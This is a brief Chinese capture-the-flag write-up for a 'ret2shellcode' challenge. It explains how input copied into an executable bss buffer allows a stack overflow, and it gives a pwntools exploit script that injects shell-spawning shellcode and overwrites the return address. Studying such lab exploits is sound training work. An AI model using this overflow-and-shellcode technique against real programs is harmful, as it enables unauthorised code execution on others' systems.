1.运行程序,没有提供 system ,32位程序,基本未开保护
2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处
3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的,因此我们可以构造一段 shellcode 然后执行此处的代码。
4.查看 esp 和 ebp 来计算覆盖长度
5.构造exp
#!/usr/bin/env python from pwn import * #EBP: 0xffffd158 --> 0x0 #ESP: 0xffffd0d0 --> 0xffffd0ec --> 0xf7ffd000 --> 0x26f34 sh = process('./ret2shellcode') buf_addr = 0x0804A080 payload = asm(shellcraft.sh()) #sh.recvuntil() length = 0x158 - 0xec + 4 sh.sendline(payload.ljust(length, 'a') + p32(buf_addr)) sh.interactive()